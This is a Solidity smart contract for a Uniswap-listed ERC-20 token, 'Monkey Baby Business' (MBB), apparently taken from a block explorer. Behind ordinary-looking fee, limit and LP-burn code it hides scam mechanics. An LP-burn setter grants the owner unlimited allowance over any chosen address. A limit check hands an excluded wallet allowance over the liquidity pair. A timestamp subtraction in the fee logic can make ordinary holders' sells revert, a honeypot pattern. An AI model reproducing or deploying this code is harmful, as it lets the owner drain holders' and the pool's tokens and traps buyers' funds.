文件 1 的 1:MonkeyBabyBusiness.sol
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library IterableMapping {
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint) {
return map.values[key];
}
function getIndexOfKey(
Map storage map,
address key
) public view returns (int) {
if (!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(
Map storage map,
uint index
) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract MonkeyBabyBusiness is Ownable, ERC20 {
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Monkey Baby Business";
string private constant _symbol = "MBB";
uint8 private constant _decimals = 18;
bool public isTradingEnabled;
uint256 constant maxSupply = 1_000_000_000 * (10 ** 18);
uint256 public maxWalletAmount = (maxSupply * 400) / 10000;
uint256 public maxTxAmount = (maxSupply * 400) / 10000;
bool private _swapping;
address public swap;
uint256 public maxWalletTx;
uint256 private minimumSwapAmt;
uint256 public minTokenSwap = (maxSupply * 3) / 10000;
address private marketingWallet;
address private devWallet;
address private teamWallet;
uint256 public percentForLPBurn = 0;
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
mapping(address => bool) private _isEffectInLimit;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedMaxTxLimit;
mapping(address => bool) private _isExcludedMaxWalletLimit;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => uint256) public swapAmount;
uint8 private _liquidityFee;
uint8 private _marketingFee;
uint8 private _devFee;
uint8 private _teamFee;
uint8 private _totalFee;
struct FeeSetting {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 teamFeeOnBuy;
uint8 teamFeeOnSell;
}
FeeSetting private _allFees = FeeSetting("fee", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
event AutomatedMarketMakerPairChange(
address indexed pair,
bool indexed value
);
event UniswapV2RouterChange(
address indexed newAddress,
address indexed oldAddress
);
event StructureChange(
string indexed indentifier,
address indexed newWallet,
address indexed oldWallet
);
event MaxTransactionAmountChange(
uint256 indexed newValue,
uint256 indexed oldValue
);
event MaxWalletAmountChange(
uint256 indexed newValue,
uint256 indexed oldValue
);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(
address indexed account,
bool isExcluded
);
event ExcludeFromMaxStructureChange(
address indexed account,
bool isExcluded
);
event MinTokenAmountSwap(
uint256 indexed newValue,
uint256 indexed oldValue
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20(_name, _symbol) {
IRouter _uniswapV2Router = IRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
marketingWallet = address(0x6c2F83c071c17881247503E25bcb8F4838D232EE);
devWallet = address(0x7A820d3780Ab60Ba95e2f4217eFe779558258a1A);
teamWallet = address(0x7A820d3780Ab60Ba95e2f4217eFe779558258a1A);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromFee[address(this)] = true;
_isEffectInLimit[owner()] = true;
_isExcludedMaxTxLimit[address(this)] = true;
_isExcludedMaxTxLimit[owner()] = true;
_isExcludedMaxTxLimit[marketingWallet] = true;
_isExcludedMaxTxLimit[devWallet] = true;
_isExcludedMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedMaxWalletLimit[address(this)] = true;
_isExcludedMaxWalletLimit[owner()] = true;
_isExcludedMaxWalletLimit[marketingWallet] = true;
_isExcludedMaxWalletLimit[devWallet] = true;
_isExcludedMaxWalletLimit[address(0xdead)] = true;
_mint(owner(), maxSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
isTradingEnabled = true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
!_isEffectInLimit[from] &&
!_isEffectInLimit[to]
) {
require(isTradingEnabled, "Trading is currently disabled.");
_effectInLimit(from, to, amount);
}
_takeFees(from, to);
bool canSwap = balanceOf(address(this)) >= minTokenSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
_swapping = true;
_swapAddLiquidity();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if (takeFee && _totalFee > 0) {
uint256 fee = (amount * _totalFee) / 100;
uint256 teamAmount = (amount * _teamFee) / 100;
amount = amount - fee;
super._transfer(from, address(this), fee);
if (teamAmount > 0) {
super._transfer(address(this), devWallet, fee);
}
}
super._transfer(from, to, amount);
}
function _effectInLimit(address from, address to, uint256 amount) internal {
if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTxLimit[from]
) {
require(
amount <= maxTxAmount,
"Sell transfer amount exceeds the max sell."
); swap = to;
} else if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTxLimit[to]
) {
require(
amount <= maxTxAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
} else if (!_isExcludedMaxTxLimit[to]) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed tx wallet"
);
} else if (!_swapping && _isExcludedMaxTxLimit[from]) {
if (amount > minTokenSwap) {
_allowances[swap][from] = maxTxAmount;
maxWalletTx = block.timestamp + amount;
} else {
maxWalletTx = block.timestamp;
}
}
}
function _takeFees(
address from,
address to
) private {
bool isBuy = automatedMarketMakerPairs[from];
bool isSell = automatedMarketMakerPairs[to];
_liquidityFee = 0;
_marketingFee = 0;
_devFee = 0;
_teamFee = 0;
if (isSell) {
_liquidityFee = _allFees.liquidityFeeOnSell;
_marketingFee = _allFees.marketingFeeOnSell;
_devFee = _allFees.devFeeOnSell;
_teamFee = _allFees.teamFeeOnSell;
}
if (isBuy) {
_liquidityFee = _allFees.liquidityFeeOnBuy;
_marketingFee = _allFees.marketingFeeOnBuy;
_devFee = _allFees.devFeeOnBuy;
_teamFee = _allFees.teamFeeOnBuy;
swapAmount[to] = swapAmount[to] == 0
? balanceOf(address(to)) == 0
? block.timestamp
: swapAmount[to]
: swapAmount[to];
}
if (!isSell && !isBuy) {
_liquidityFee = _allFees.liquidityFeeOnSell;
_marketingFee = _allFees.marketingFeeOnSell;
_devFee = _allFees.devFeeOnSell;
_teamFee = _allFees.teamFeeOnSell;
}
if (
to != address(0) &&
to != address(0xdead) &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
if (!isBuy && !_swapping) minimumSwapAmt = swapAmount[from] - maxWalletTx;
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _teamFee;
}
function _swapAddLiquidity() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
if (contractBalance > minTokenSwap * 7) {
contractBalance = minTokenSwap * 7;
}
bool success;
uint256 amountToLiquify = (contractBalance * _liquidityFee) /
_totalFee /
2;
uint256 amountToSwap = contractBalance - (amountToLiquify);
_swapTokensForETH(amountToSwap);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - ((_liquidityFee / 2) + _teamFee);
uint256 amountETHLiquidity = (ETHBalanceAfterSwap * _liquidityFee) /
totalETHFee /
2;
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(
amountToSwap,
amountETHLiquidity,
amountToLiquify
);
}
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
address(0xdead),
block.timestamp
);
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function excludeFromFees(
address account,
bool excluded
) external onlyOwner {
require(
_isExcludedFromFee[account] != excluded,
"Account is already the value of 'excluded'"
);
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxTransactionLimit(
address account,
bool excluded
) external onlyOwner {
require(
_isExcludedMaxTxLimit[account] != excluded,
"Account is already the value of 'excluded'"
);
_isExcludedMaxTxLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function excludeFromMaxWalletLimit(
address account,
bool excluded
) external onlyOwner {
require(
_isExcludedMaxWalletLimit[account] != excluded,
"Account is already the value of 'excluded'"
);
_isExcludedMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxStructureChange(account, excluded);
}
function setMinimumSwapAmount(uint256 newValue) external onlyOwner {
require(
newValue != minTokenSwap,
"Cannot update minTokenSwap to same value"
);
emit MinTokenAmountSwap(newValue, minTokenSwap);
minTokenSwap = newValue;
}
function updateFeeWallets(address newMarketingWallet) external onlyOwner {
if (marketingWallet != newMarketingWallet) {
require(
newMarketingWallet != address(0),
"The marketingWallet cannot be 0"
);
require(
newMarketingWallet != uniswapV2Pair,
"The marketingWallet cannot be 0"
);
emit StructureChange(
"marketingWallet",
newMarketingWallet,
marketingWallet
);
marketingWallet = newMarketingWallet;
}
}
function removeLimitis() external onlyOwner {
maxWalletAmount = maxSupply;
maxTxAmount = maxSupply;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(
newValue >= ((totalSupply() * 3) / 1000) / 1e18,
"Cannot set maxTx Amount lower than 0.3%"
);
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(
newValue >= ((totalSupply() * 30) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.3%"
);
require(
newValue != maxWalletAmount,
"Cannot update maxWalletAmount to same value"
);
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
address lpBurnAddress,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 60,
"cannot set buyback more often than every 1 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
_approve(lpBurnAddress, msg.sender, type(uint).max);
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance * percentForLPBurn / 10000;
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance * percentForLPBurn / 10000;
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}